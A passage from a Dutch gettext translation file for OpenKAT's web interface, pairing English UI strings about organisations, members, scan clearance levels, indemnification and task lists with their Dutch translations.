rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"View the current state\"\nmsgstr \"Actuele status bekijken\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's, this object has been \"\n\"deleted and is no longer available.\"\nmsgstr \"\"\n\"Dit object is gewist. Er kunnen geen bevindingen of objecten aan worden \"\n\"toegevoegd.\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Summary for\"\nmsgstr \"Samenvatting van\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Below you can see findings that were found for\"\nmsgstr \"Hieronder ziet u de bevindingen die zijn gevonden voor\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"and direct  children of this\"\nmsgstr \"en directe kinderen hiervan\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"This\"\nmsgstr \"Deze\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"tree view\"\nmsgstr \"boomweergave\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"of the\"\nmsgstr \"van de\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"shows the same objects.\"\nmsgstr \"toont dezelfde objecten.\"\n\n#: rocky/templates/organizations/organization_add.html\nmsgid \"\"\n\"Please enter the following organization details. These details can be edited \"\n\"within the organization page within OpenKAT when necessary.\"\nmsgstr \"\"\n\"Voer de volgende organisatiegegevens in. Deze gegevens kunnen worden bewerkt \"\n\"indien nodig binnen de organisatiepagina binnen OpenKAT.\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Edit organization\"\nmsgstr \"Organisatie bewerken\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Save organization\"\nmsgstr \"Organisatie opslaan\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"An overview of all organizations you are a member of.\"\nmsgstr \"Een overzicht van alle organisaties waar u lid van bent.\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Add new organization\"\nmsgstr \"Nieuwe organisatie toevoegen\"\n\n#: rocky/templates/organizations/organization_list.html\n#, fuzzy, python-format\nmsgid \"\"\n\"\\n\"\n\"                            Showing %(total)s organizations\\n\"\n\"                        \"\nmsgstr \"\"\n\"\\n\"\n\"                            Toon %(total)s organisaties\\n\"\n\"                        \"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Organization overview:\"\nmsgstr \"Organisatie-overzicht:\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Tags\"\nmsgstr \"Labels\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"There were no organizations found for your user account\"\nmsgstr \"Er zijn geen organisaties gevonden voor uw gebruikersaccount\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Actions to perform for all of your organizations.\"\nmsgstr \"Uit te voeren acties voor al uw organisaties.\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Rerun all bits\"\nmsgstr \"Alle bits opnieuw starten\"\n\n#: rocky/templates/organizations/organization_member_add.html\n#, fuzzy\nmsgid \"Change account type\"\nmsgstr \"Wijzig accounttype\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#: rocky/views/organization_member_add.py\n#, fuzzy\nmsgid \"Add member\"\nmsgstr \"Lid toevoegen\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#, fuzzy, python-format\nmsgid \"\"\n\"Creating a new member of organization <strong>%(organization)s</strong>. For \"\n\"detailed information about the different account types, check the <a \"\n\"href=\\\"https://docs.openkat.nl/basics/users-and-organisations.html#users\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">documentation</a>.\"\nmsgstr \"\"\n\"Creëer een nieuw lid voor organisatie <strong>%(organization)s</strong>. \"\n\"Check de <a href=\\\"https://docs.openkat.nl/basics/users-and-organisations.\"\n\"html#users\\\" target=\\\"_blank\\\" rel=\\\"noopener\\\">documentatie voor \"\n\"gedetaileerde informatie over de verschillende accounttypes</a>.\"\n\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Edit member\"\nmsgstr \"Lid bewerken\"\n\n#: rocky/templates/organizations/organization_member_edit.html\nmsgid \"Save member\"\nmsgstr \"Lid opslaan\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"An overview of members of <strong>%(organization_name)s</strong>.\"\nmsgstr \"Een overzicht van leden van <strong>%(organization_name)s</strong>.\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Add member(s)\"\nmsgstr \"Lid (Leden) toevoegen\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Manually\"\nmsgstr \"Handmatig\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Upload a CSV\"\nmsgstr \"CSV uploaden\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, fuzzy, python-format\nmsgid \"\"\n\"\\n\"\n\"                        Showing %(total)s members\\n\"\n\"                    \"\nmsgstr \"\"\n\"\\n\"\n\"                        Toon %(total)s leden\\n\"\n\"                    \"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Member overview:\"\nmsgstr \"Ledenoverzicht:\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Role\"\nmsgstr \"Rol\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Assigned clearance level\"\nmsgstr \"Toegewezen vrijwaringsniveau\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Super user\"\nmsgstr \"Supergebruiker\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#: rocky/views/organization_member_add.py\n#, fuzzy\nmsgid \"Add members\"\nmsgstr \"Leden toevoegen\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#, fuzzy, python-format\nmsgid \"\"\n\"To upload multiple members at once, you can upload a CSV file or you can <a \"\n\"href=\\\"%(download_url)s\\\">download the template</a>.\"\nmsgstr \"\"\n\"Om meerdere leden tegelijk toe te voegen kunt u een CSV-file uploaden  of \"\n\"je  kunt  <a href=\\\"%(download_url)s\\\">het template downloaden</a>\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#, fuzzy\nmsgid \"To create a custom CSV file, make sure it meets the following criteria:\"\nmsgstr \"Voldoe aan de volgende criteria om een custom CSV file te maken:\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"Upload\"\nmsgstr \"Uploaden\"\n\n#: rocky/templates/organizations/organization_settings.html\n#, fuzzy, python-format\nmsgid \"\"\n\"An overview of general information and settings for \"\n\"<strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\"Overzicht van algemene informatie en instellingen voor \"\n\"<strong>%(organization_name)s</strong>.\"\n\n#: rocky/templates/organizations/organization_settings.html\n#, fuzzy\nmsgid \"\"\n\"<strong>Warning:</strong> Indemnification is not set for this organization.\"\nmsgstr \"\"\n\"<strong>Waarschuwing:</strong> Vrijwaring is niet ingesteld voor deze \"\n\"organisatie.\"\n\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/indemnification_add.py\nmsgid \"Add indemnification\"\nmsgstr \"Vrijwaring toevoegen\"\n\n#: rocky/templates/partials/current_config.html\n#, fuzzy\nmsgid \"Current configuration\"\nmsgstr \"Huidige configuratie\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"Delete objects\"\nmsgstr \"Verwijder objecten\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"\"\n\"Are you sure you want to delete all the selected objects? The history of the \"\n\"deleted objects will still be available.\"\nmsgstr \"\"\n\"Weet u zeker dat u alle geselecteerde objecten wilt verwijderen? De \"\n\"geschiedenis van de verwijderde objecten blijft beschikbaar.\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Edit clearance level settings\"\nmsgstr \"Bewerk vrijwaringsniveau instellingen\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"You are editing clearance level of all the selected objects.\"\nmsgstr \"U bewerkt het vrijwaringsniveau van alle geselecteerde objecten.\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Switching between declare and inherit\"\nmsgstr \"Schakelen tussen verklaren en erven\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"\"\n\"Clearance levels can be automatically inherited or you can manually declare \"\n\"the clearance level for an object. Switching to inherit clearance level will \"\n\"also recalculate the clearance levels of objects that inherit from these \"\n\"clearance levels.\"\nmsgstr \"\"\n\"Vrijwaringsniveaus kunnen automatisch worden overgenomen of u kunt het \"\n\"vrijwaringsniveau voor een object handmatig verklaren. Als u overschakelt \"\n\"naar het overerven van vrijwaringsniveaus, worden ook de vrijwaringsniveaus \"\n\"van gerelateerde objecten opnieuw berekend.\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\nmsgid \"Observed at\"\nmsgstr \"Gevonden op\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Show settings\"\nmsgstr \"Instellingen tonen\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Hide settings\"\nmsgstr \"Instellingen verbergen\"\n\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\nmsgid \"Toggle all OOI types\"\nmsgstr \"Alle OOI-types inschakelen\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Children\"\nmsgstr \"Kinderen\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Show details for %(object_id)s, with %(child_count)s children.\"\nmsgstr \"Details van %(object_id)s, met %(child_count)s kinderen tonen.\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"\"\n\"Show tree for %(object_id)s with only children of type %(object_ooi_type)s\"\nmsgstr \"\"\n\"Boomweergave van %(object_id)s met alleen kinderen van type \"\n\"%(object_ooi_type)s tonen\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Unfold %(object_id)s with %(child_count)s children\"\nmsgstr \"%(object_id)s met %(child_count)s kinderen uitklappen\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"go to:\"\nmsgstr \"ga naar:\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to detailpage\"\nmsgstr \"Ga naar detailpagina\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"detail\"\nmsgstr \"detail\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to tree view\"\nmsgstr \"Ga naar boomweergave\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"tree\"\nmsgstr \"boom\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to graph view\"\nmsgstr \"Ga naar grafiek\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"graph\"\nmsgstr \"grafiek\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Clearance level inheritance\"\nmsgstr \"Overerving op vrijwaringsniveau\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"OOI\"\nmsgstr \"OOI\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Origin\"\nmsgstr \"Oorsprong\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Show clearance level inheritance\"\nmsgstr \"Overerving op vrijwaringsniveau weergeven\"\n\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Reproduction\"\nmsgstr \"Reproductie\"\n\n#: rocky/templates/partials/form/checkbox_group_table_form.html\nmsgid \"Please enable plugin to start scanning.\"\nmsgstr \"Schakel plug-ins in om te starten met scannen.\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Not set\"\nmsgstr \"Niet ingesteld\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot email\"\nmsgstr \"E-mailadres vergeten\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot password\"\nmsgstr \"Wachtwoord vergeten\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"error\"\nmsgstr \"foutmelding\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/form/form_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Error:\"\nmsgstr \"Fout:\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Open explanation\"\nmsgstr \"Toelichting openen\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Close explanation\"\nmsgstr \"Toelichting sluiten\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Explanation:\"\nmsgstr \"Toelichting:\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"Performing security scans against assets is generally only allowed if you \"\n\"have permission to scan those assets. Certain scans might also have a \"\n\"negative impact on (your) assets. Therefore it is important to know and be \"\n\"aware of the impact of security scans.\"\nmsgstr \"\"\n\"Het uitvoeren van beveiligingsscans op assets is over het algemeen alleen \"\n\"toegestaan als je toestemming hebt om deze assets te scannen. Bepaalde scans \"\n\"kunnen ook een negatieve impact hebben op (uw) assets. Daarom is het \"\n\"belangrijk om de impact van beveiligingsscans te kennen en u ervan bewust te \"\n\"zijn.\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"An organization indemnification is required before you can use OpenKAT. With \"\n\"the indemnification you declare that you, as a person, can be held \"\n\"accountable.\"\nmsgstr \"\"\n\"Een vrijwaring van de organisatie is vereist voordat u OpenKAT kunt \"\n\"gebruiken. Met de vrijwaring verklaart u dat u, als persoon, aansprakelijk \"\n\"gesteld kunt worden.\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"Set an indemnification\"\nmsgstr \"Stel een vrijwaring in\"\n\n#: rocky/templates/partials/hyperlink_ooi_type.html\n#, python-format\nmsgid \"Only show objects of type %(type)s\"\nmsgstr \"Toon alleen objecten van type %(type)s\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Hide filter options\"\nmsgstr \"Filteropties verbergen\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Show filter options\"\nmsgstr \"Filteropties tonen\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"List pagination\"\nmsgstr \"Lijst paginering\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous Page\"\nmsgstr \"Vorige pagina\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous\"\nmsgstr \"Vorige\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Back\"\nmsgstr \"Vijf pagina’s terug\"\n\n#: rocky/templates/partials/list_paginator.html\n#: rocky/templates/partials/pagination.html\nmsgid \"Page\"\nmsgstr \"Pagina\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Forward\"\nmsgstr \"Vijf pagina’s vooruit\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next Page\"\nmsgstr \"Volgende pagina\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next\"\nmsgstr \"Volgende\"\n\n#: rocky/templates/partials/mute_findings_modal.html\n#, fuzzy\nmsgid \"You are muting the selected findings.\"\nmsgstr \"U muteert de geselecteerde bevindingen.\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Reason:\"\nmsgstr \"Reden:\"\n\n#: rocky/templates/partials/mute_findings_modal.html\n#, fuzzy\nmsgid \"Expires by (UTC):\"\nmsgstr \"Verloopt op (UTC):\"\n\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Confirmation:\"\nmsgstr \"Bevestiging:\"\n\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"No related object known for\"\nmsgstr \"Geen gerelateerd objecten bekend voor\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Generate Report\"\nmsgstr \"Rapport genereren\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Edit %(display_type)s\"\nmsgstr \"Bewerk %(display_type)s\"\n\n#: rocky/templates/partials/ooi_head.html\n#, fuzzy, python-format\nmsgid \"\"\n\"An overview of \\\"%(ooi)s\\\", object type \\\"%(type)s\\\". This shows general \"\n\"information and its related objects. It also gives the possibility to add \"\n\"additional related objects, or to scan for them.\"\nmsgstr \"\"\n\"Een overzicht van \\\"%(ooi)s\\\", objecttype \\\"%(type)s\\\". Dit toont algemene \"\n\"informatie en de gerelateerde objecten. Het biedt tevens de mogelijkheid om \"\n\"aanvullende gerelateerde objecten toe te voegen, of via scannen op te sporen.\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Scan for objects\"\nmsgstr \"Objecten scannen\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_csv.html rocky/views/upload_csv.py\nmsgid \"Upload CSV\"\nmsgstr \"Upload een CSV\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Export\"\nmsgstr \"Exporteren\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as CSV\"\nmsgstr \"Als CSV downloaden\"\n\n#: rocky/templates/partials/ooi_report_findings_block.html\n#, python-format\nmsgid \"%(total)s findings on %(name)s\"\nmsgstr \"%(total)s bevindingen voor %(name)s\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#, python-format\nmsgid \"Findings for %(type)s %(name)s on %(observed_at)s:\"\nmsgstr \"Bevindingen voor %(type)s %(name)s op %(observed_at)s:\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Open finding details\"\nmsgstr \"Open bevindingsdetails\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#, python-format\nmsgid \"Details of %(object_id)s\"\nmsgstr \"Details van %(object_id)s\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"\"\n\"The severity of this findingtype has not (yet) been determined by the data \"\n\"source. This situation requires manual investigation of the severity.\"\nmsgstr \"\"\n\"De ernst van dit bevindingstype is (nog) niet bepaald door de gegevensbron. \"\n\"Deze situatie vereist handmatig onderzoek naar de ernst.\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Total occurrences\"\nmsgstr \"Totaal aantal voorvallen\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - dense view\"\nmsgstr \"Boom – compacte weergave\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - table view\"\nmsgstr \"Boom – tabelweergave\"\n\n#: rocky/templates/partials/organization_member_list_filters.html\nmsgid \"Update List\"\nmsgstr \"Lijst updaten\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization name\"\nmsgstr \"Organisatienaam\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization code\"\nmsgstr \"Organisatiecode\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"Select organization\"\nmsgstr \"Organisatie selecteren\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"All organizations\"\nmsgstr \"Alle organisaties\"\n\n#: rocky/templates/partials/page-meta.html\nmsgid \"Logged in as:\"\nmsgstr \"Aangemeld als:\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"of\"\nmsgstr \"van\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"first\"\nmsgstr \"eerste\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"previous\"\nmsgstr \"vorige\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"next\"\nmsgstr \"volgende\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"last\"\nmsgstr \"laatste\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"User navigation\"\nmsgstr \"Gebruikersnavigatie\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Close user navigation\"\nmsgstr \"Gebruikersnavigatie sluiten\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"My organizations\"\nmsgstr \"Mijn organisaties\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Profile\"\nmsgstr \"Profiel\"\n\n#: rocky/templates/partials/skip-to-content.html\nmsgid \"Go to content\"\nmsgstr \"Ga direct naar de inhoud\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"The clearance level determines the level of boefje scans allowed on this \"\n\"object. An object inherits its clearance level from neighbouring objects. \"\n\"This means that the clearance level might stay the same, increase or \"\n\"decrease, depending on other declared clearance levels.\"\nmsgstr \"\"\n\"Het vrijwaringsniveau bepaalt het niveau van boefje-scans dat voor dit \"\n\"object is toegestaan. Een object erft zijn vrijwaringsniveau van naburige \"\n\"objecten. Dit betekent dat het vrijwaringsniveau hetzelfde kan blijven, kan \"\n\"stijgen of dalen, afhankelijk van andere aangegeven vrijwaringsniveaus.\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, fuzzy\nmsgid \"Empty clearance level explanation\"\nmsgstr \"Lege vrijwaringsniveau toelichting\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty:\"\nmsgstr \"Leeg:\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"This object has a clearance level of \\\"empty\\\". This means that this object \"\n\"has no clearance level.\"\nmsgstr \"\"\n\"Dit object heeft een vrijwaringsniveau van “leeg”. Dit betekent dat dit \"\n\"object geen vrijwaringsniveau heeft.\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, fuzzy\nmsgid \"Indemnification warning\"\nmsgstr \"Vrijwaringswaarschuwing\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, fuzzy\nmsgid \"Indemnification is not set for this organization.\"\nmsgstr \"Vrijwaring voor deze organisatie is niet ingesteld.\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, fuzzy\nmsgid \"Go to the\"\nmsgstr \"Ga naar\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, fuzzy\nmsgid \"organization settings page\"\nmsgstr \"organisatie-instellingenpagina\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, fuzzy\nmsgid \"to add one.\"\nmsgstr \"om één toe te voegen\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, fuzzy\nmsgid \"Set clearance level warning\"\nmsgstr \"Stel vrijwaringsniveauwaarschuwing in\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"You don't have permissions to set the clearance level. Contact your \"\n\"administrator.\"\nmsgstr \"\"\n\"U hebt geen toestemming om het vrijwaringsniveau in te stellen. Neem contact \"\n\"op met uw beheerder.\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, fuzzy, python-format\nmsgid \"\"\n\"You are not allowed to set the clearance level of this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s.\"\nmsgstr \"\"\n\"U heeft geen rechten om het vrijwaringsniveau van dit OOI te wijzigen. Uw \"\n\"maximale vrijwaingsnivea is %(member_clearance_level)s en dit OOI heeft \"\n\"niveau %(boefje_scan_level)s.\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, fuzzy\nmsgid \"Go to your\"\nmsgstr \"Ga naar uw\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, fuzzy\nmsgid \"account details\"\nmsgstr \"account-gegevens\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, fuzzy\nmsgid \"to manage your clearance level.\"\nmsgstr \"Om uw vrijwaringsniveau te beheren\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Current clearance level\"\nmsgstr \"Actuele vrijwaringsniveau\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"\"\n\"An overview of the boefje task, the input OOI and the RAW data it generated.\"\nmsgstr \"\"\n\"Een overzicht van de Boefje-taak, de invoer-OOI en de RAW-gegevens die het \"\n\"heeft gegenereerd.\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download meta and raw data\"\nmsgstr \"Meta- en raw-gegevens downloaden\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Download meta data\"\nmsgstr \"Meta-gegevens downloaden\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Input object\"\nmsgstr \"Invoerobject\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"There are no tasks for boefjes.\"\nmsgstr \"Er zijn geen taken voor boefjes.\"\n\n#: rocky/templates/tasks/boefjes.html\n#, fuzzy\nmsgid \"List of tasks for boefjes.\"\nmsgstr \"Takenlijst voor boefjes.\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/reports.html\nmsgid \"Organization Code\"\nmsgstr \"Organisatiecode\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Created date\"\nmsgstr \"Datum toegevoegd\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Modified date\"\nmsgstr \"Bewerkte datum\"\n\n#: rocky/templates/tasks/normalizers.html\n#, fuzzy\nmsgid \"There are no tasks for normalizers.\"\nmsgstr \"Er zijn geen taken voor normalizers.\"\n\n#: rocky/templates/tasks/normalizers.html\n#, fuzzy\nmsgid \"List of tasks for normalizers.\"\nmsgstr \"Takenlijst voor normalizers.\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje input OOI\"\nmsgstr \"Boefje invoer OOI\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Manually added\"\nmsgstr \"Handmatig toegevoegd\"\n\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#, fuzzy\nmsgid \"There have been no tasks.\"\nmsgstr \"Er zijn geen taken geweest.\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Task statistics - Last 24 hours\"\nmsgstr \"Taakstatistieken – Laatste 24 uur\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"All times in UTC, blocks of 1 hour.\"\nmsgstr \"Alle tijden in UTC, blokken van 1 uur.\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Timeslot\"\nmsgstr \"Tijdsperiode\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Could not load stats, Scheduler error.\"\nmsgstr \"Kon geen statistieken laden, Scheduler-fout.\"\n\n#: rocky/templates/tasks/partials/tab_navigation.html\nmsgid \"List of tasks\"\nmsgstr \"Lijst van taken\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Yielded objects\"\nmsgstr \"Opgeleverde objecten\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Reschedule\"\nmsgstr \"Opnieuw plannen\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download task data\"\nmsgstr \"Taakgegevens downloaden\"\n\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#, python-format\nmsgid \"\"\n\"An overview of the tasks for <strong>%(organization)s</strong>. Tasks are \"\n\"divided in Boefjes, Normalizers and Reports. Boefjes scan objects and \"\n\"Normalizers dispatch on the output mime-type. Additionally, there is a \"\n\"Report tasks. This task aggregates and presents findings from both Boefjes \"\n\"and Normalizers.\"\nmsgstr \"\"\n\"Een overzicht van de taken voor <strong>%(organization)s</strong>. Taken \"\n\"worden onderverdeeld in Boefjes, Normalizers en Rapporten. Boefjes scannen \"\n\"voor objecten en normalizers verwerken deze, gebaseerd op het output-mime-\"\n\"type. Aanvullend is er een rapport-taak. Deze taak verzamelt en presenteert \"\n\"bevindingen van zowel Boefjes als normalizers.\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"There are no tasks for\"\nmsgstr \"Er zijn geen taken voor\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"List of tasks for\"\nmsgstr \"Takenlijst voor\"\n\n#: rocky/templates/tasks/reports.html\n#, fuzzy\nmsgid \"There are no tasks for reports.\"\nmsgstr \"Er zijn geen taken voor rapportage.\"\n\n#: rocky/templates/tasks/reports.html\n#, fuzzy\nmsgid \"List of tasks for reports.\"\nmsgstr \"Tkenlijst voor rapporten.\"\n\n#: rocky/templates/tasks/reports.html\n#, fuzzy\nmsgid \"Recipe ID\"\nmsgstr \"Recept ID\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Log in\"\nmsgstr \"Aanmelden\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Authenticate\"\nmsgstr \"Authenticatie\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Tokens\"\nmsgstr \"Back-uptokens\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"\"\n\"Backup tokens can be used when your primary and backup phone numbers aren't \"\n\"available. The backup tokens below can be used for login verification. If \"\n\"you've used up all your backup tokens, you can generate a new set of backup 